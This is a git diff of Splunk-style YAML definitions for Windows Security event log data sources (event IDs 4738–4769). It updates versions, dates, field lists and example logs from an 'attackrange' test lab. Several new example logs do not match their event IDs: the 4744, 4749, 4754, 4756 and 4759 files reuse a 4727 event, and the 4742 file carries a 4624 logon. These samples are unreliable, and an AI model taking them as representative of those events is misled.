TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group - user_id + - UserID + - UtcTime + - vendor - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _subsecond - - _time + - Version output_fields: - dest -example_log: 4737001382600x8020000000000000183186860Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4211ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0--- +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4738.yml b/data_sources/windows_event_log_security_4738.yml index 4e15e78539..219f27b347 100644 --- a/data_sources/windows_event_log_security_4738.yml +++ b/data_sources/windows_event_log_security_4738.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4738 id: cb85709b-101e-41a9-bb60-d2108f79dfbd -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user account's properties, such as permissions or memberships, are modified on a Windows system. mitre_components: @@ -18,87 +18,64 @@ supported_TA: fields: - _time - AccountExpires + - action - AllowedToDelegateTo + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer + - dest + - dest_nt_domain - DisplayName - Dummy + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid - HomeDirectory - HomePath + - host + - id + - index - Keywords - Level - - LogonHours + - linecount - Logon_ID + - LogonHours - Name + - name - NewUacValue + - object + - object_attrs + - object_category + - object_id - OldUacValue - Opcode - PasswordLastSet - PrimaryGroupId - PrivilegeList - ProcessID + - product - ProfilePath + - punct - RecordNumber + - result - SamAccountName - ScriptPath - - SidHistory - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - UserAccountControl - - UserParameters - - UserPrincipalName - - UserWorkstations - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - object - - object_attrs - - object_category - - object_id - - product - - punct - - result - session_id + - severity + - severity_id + - SidHistory - signature - signature_id - source @@ -109,17 +86,37 @@ fields: - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_name + - UserAccountControl + - UserParameters + - UserPrincipalName + - UserWorkstations - vendor - vendor_product + - Version output_fields: - dest -example_log: 4738001382400x80200000000000006389713Securityar-win-dc.attackrange.local-unprivATTACKRANGES-1-5-21-945660386-2529346225-2932127451-1112S-1-5-21-945660386-2529346225-2932127451-500AdministratorATTACKRANGE0x54bb3a----------------- +example_log: | + 4738001382400x80200000000000006389713Securityar-win-dc.attackrange.local-unprivATTACKRANGES-1-5-21-945660386-2529346225-2932127451-1112S-1-5-21-945660386-2529346225-2932127451-500AdministratorATTACKRANGE0x54bb3a----------------- + CRAB\administrator- diff --git a/data_sources/windows_event_log_security_4741.yml b/data_sources/windows_event_log_security_4741.yml index 113dfdb62a..7085605796 100644 --- a/data_sources/windows_event_log_security_4741.yml +++ b/data_sources/windows_event_log_security_4741.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4741 id: ef87257f-e7d1-4856-abae-097b2cfdcdb4 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new computer account in Active Directory, including details about the account name, domain, and the user performing the action. mitre_components: @@ -21,106 +21,108 @@ supported_TA: fields: - _time - AccountExpires + - action - AllowedToDelegateTo + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer + - dest + - dest_nt_domain - DisplayName - DnsHostName + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid - HomeDirectory - HomePath + - host + - id + - index - Keywords - Level - - LogonHours + - linecount - Logon_ID + - LogonHours - Name + - name - NewUacValue + - object_attrs + - object_category - OldUacValue - Opcode - PasswordLastSet - PrimaryGroupId - PrivilegeList - ProcessID + - product - ProfilePath + - punct - RecordNumber + - result - SamAccountName - ScriptPath - ServicePrincipalNames - - SidHistory - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - UserAccountControl - - UserParameters - - UserPrincipalName - - UserWorkstations - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - object_attrs - - object_category - - product - - punct - - result - session_id + - severity + - severity_id + - SidHistory - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_type + - UserAccountControl + - UserParameters + - UserPrincipalName + - UserWorkstations - vendor - vendor_product + - Version output_fields: - dest -example_log: 4741001382500x8020000000000000143475Securityar-win-dc.attackrange.localAR-WIN-2$ATTACKRANGEATTACKRANGE\AR-WIN-2$ATTACKRANGE\AdministratorAdministratorATTACKRANGE0xd9f04-AR-WIN-2$-------4/8/2024 6:48:04 PM%%1794515-0x00x80 +example_log: | + 4741001382500x8020000000000000143475Securityar-win-dc.attackrange.localAR-WIN-2$ATTACKRANGEATTACKRANGE\AR-WIN-2$ATTACKRANGE\AdministratorAdministratorATTACKRANGE0xd9f04-AR-WIN-2$-------4/8/2024 6:48:04 PM%%1794515-0x00x80 + %%2087--%%1793ar-win-2.attackrange.local + HOST/ar-win-2.attackrange.local + RestrictedKrbHost/ar-win-2.attackrange.local + HOST/AR-WIN-2 + RestrictedKrbHost/AR-WIN-2 diff --git a/data_sources/windows_event_log_security_4742.yml b/data_sources/windows_event_log_security_4742.yml index 73a3e378cc..378b3d2443 100644 --- a/data_sources/windows_event_log_security_4742.yml +++ b/data_sources/windows_event_log_security_4742.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4742 id: ea830adf-5450-489a-bcdc-fb8d2cbe674c -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes to the properties of a computer account in Active Directory, including details about the modified attributes and the user performing the action. mitre_components: @@ -20,107 +20,137 @@ supported_TA: fields: - _time - AccountExpires + - action - AllowedToDelegateTo + - app + - authentication_method + - authentication_service + - AuthenticationPackageName - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer - ComputerAccountChange + - dest + - dest_nt_domain - DisplayName - DnsHostName + - dvc + - dvc_nt_host + - ElevatedToken - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid - HomeDirectory - HomePath + - host + - id + - ImpersonationLevel + - index + - IpAddress + - IpPort + - KeyLength - Keywords - Level - - LogonHours + - linecount + - LmPackageName - Logon_ID + - Logon_Type + - LogonGuid + - LogonHours + - LogonProcessName + - LogonType - Name + - name - NewUacValue + - object_attrs + - object_category - OldUacValue - Opcode - PasswordLastSet - PrimaryGroupId - PrivilegeList + - process + - process_id - ProcessID + - ProcessId + - ProcessName + - product - ProfilePath + - punct - RecordNumber + - RestrictedAdminMode + - result - SamAccountName - ScriptPath - ServicePrincipalNames - - SidHistory - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - UserAccountControl - - UserParameters - - UserPrincipalName - - UserWorkstations - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - object_attrs - - object_category - - product - - punct - - result - session_id + - severity + - severity_id + - SidHistory - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server + - src + - src_ip - src_nt_domain + - src_port + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag + - tag::action + - tag::app - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetLinkedLogonId + - TargetLogonId + - TargetOutboundDomainName + - TargetOutboundUserName + - TargetSid + - TargetUserName + - TargetUserSid + - Task + - TaskCategory + - ThreadID + - timestamp + - TransmittedServices - user - user_group - user_type + - UserAccountControl + - UserParameters + - UserPrincipalName + - UserWorkstations - vendor - vendor_product + - Version + - VirtualAccount + - WorkstationName output_fields: - dest -example_log: 4742001382500x8020000000000000901860Securitywin-dc-root-04195-428.attackrange.local-WIN-HOST-ROOT-0$ATTACKRANGES-1-5-21-199921393-3534762603-6736986-1111S-1-5-21-199921393-3534762603-6736986-500AdministratorATTACKRANGE0x177304----------------- +example_log: | + 4624201254400x8020000000000000735367Securityar-win-2.attackrange.localNULL SID--0x0NT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE.LOCAL0x74fe13KerberosKerberos-{9C134679-D67F-E36B-466E-5320E2687762}--00x0-fe80::b86c:9c56:598:46a752630%%1833---%%18430x0%%1842 diff --git a/data_sources/windows_event_log_security_4744.yml b/data_sources/windows_event_log_security_4744.yml index 17716ec455..150748b188 100644 --- a/data_sources/windows_event_log_security_4744.yml +++ b/data_sources/windows_event_log_security_4744.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4744 id: 244e0bd4-00b0-4091-b8b4-9d435aca6ad8 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4744 source: XmlWinEventLog:Security @@ -14,6 +14,177 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4749.yml b/data_sources/windows_event_log_security_4749.yml index cab2404af9..8e96ba1d32 100644 --- a/data_sources/windows_event_log_security_4749.yml +++ b/data_sources/windows_event_log_security_4749.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4749 id: eb322056-01a3-4cd5-bc09-01140d33194a -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4749 source: XmlWinEventLog:Security @@ -14,6 +14,177 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4754.yml b/data_sources/windows_event_log_security_4754.yml index 81bd73fe37..85ec3c13e2 100644 --- a/data_sources/windows_event_log_security_4754.yml +++ b/data_sources/windows_event_log_security_4754.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4754 id: 501a507e-3275-4c4b-9c44-53eecfeae487 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4754 source: XmlWinEventLog:Security @@ -14,6 +14,177 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4756.yml b/data_sources/windows_event_log_security_4756.yml index a507ddf54d..bc9400ed48 100644 --- a/data_sources/windows_event_log_security_4756.yml +++ b/data_sources/windows_event_log_security_4756.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4756 id: b0093058-0cb6-4c73-a95b-fb0f3541e88c -version: 2 +version: 3 creation_date: '2026-03-30' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Nasreddine Bencherchali, Splunk description: Data source object for Windows Event Log Security 4756 source: XmlWinEventLog:Security @@ -14,6 +14,177 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest -example_log: 4756 0 0 13826 0 0x8020000000000000 4405437 Security atc-win-2k16.atc.local CN=demouser,CN=Users,DC=atc,DC=local S-1-5-21-2245550993-2690282630-2861202560-18603 Enterprise Admins ATC S-1-5-21-2245550993-2622282683-2531201460-519 S-1-5-21-2245550993-2622282683-2531201460-500 test_user ATC 0x109a6c - +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4759.yml b/data_sources/windows_event_log_security_4759.yml index 44d305da80..81aa0cc4d6 100644 --- a/data_sources/windows_event_log_security_4759.yml +++ b/data_sources/windows_event_log_security_4759.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4759 id: 431e3520-505b-4ace-aced-cb51e3f7311e -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4759 source: XmlWinEventLog:Security @@ -14,6 +14,177 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4768.yml b/data_sources/windows_event_log_security_4768.yml index 72a021b5ab..5dec8859a3 100644 --- a/data_sources/windows_event_log_security_4768.yml +++ b/data_sources/windows_event_log_security_4768.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4768 id: 4a5fd6ed-66bd-4f34-bc74-51c00c73c298 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs Kerberos pre-authentication requests, including details about the user account, authentication type, and client IP address. mitre_components: @@ -20,88 +20,86 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - CertThumbprint - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - IpAddress - IpPort - Keywords - Level + - linecount - Name + - name - Opcode - PreAuthType - ProcessID - - RecordNumber - - ServiceName - - ServiceSid - - Source_Port - - Source_Workstation - - Status - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - TicketEncryptionType - - TicketOptions - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - reason_id + - RecordNumber - service - service_id - service_name + - ServiceName + - ServiceSid + - severity + - severity_id - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server - src - src_ip - src_nt_host - src_port + - Status - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_status - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - TicketEncryptionType + - TicketOptions + - timestamp - user - user_group - vendor - vendor_product + - Version output_fields: - dest -example_log: 4768001433900x8010000000000000391562Securitywin-dc-mvelazco-02713-392.attackrange.localRXETPKZHattackrange.localNULL SIDkrbtgt/attackrange.localNULL SID0x408100100x120xffffffff-::ffff:10.0.1.1564568 +example_log: | + 4768001433900x8020000000000000148526Securityar-win-dc.attackrange.localAdministratorattackrange.localATTACKRANGE\AdministratorattackerATTACKRANGE\krbtgt0x408000100x00x172::ffff:10.0.1.1559369 diff --git a/data_sources/windows_event_log_security_4769.yml b/data_sources/windows_event_log_security_4769.yml index 85f20a4617..217f8821fd 100644 --- a/data_sources/windows_event_log_security_4769.yml +++ b/data_sources/windows_event_log_security_4769.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4769 id: 358d5520-f40b-4fa2-b799-966c030cb731 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs Kerberos service ticket requests, including details about the requesting user, target service, and client IP address. mitre_components: @@ -20,88 +20,85 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype 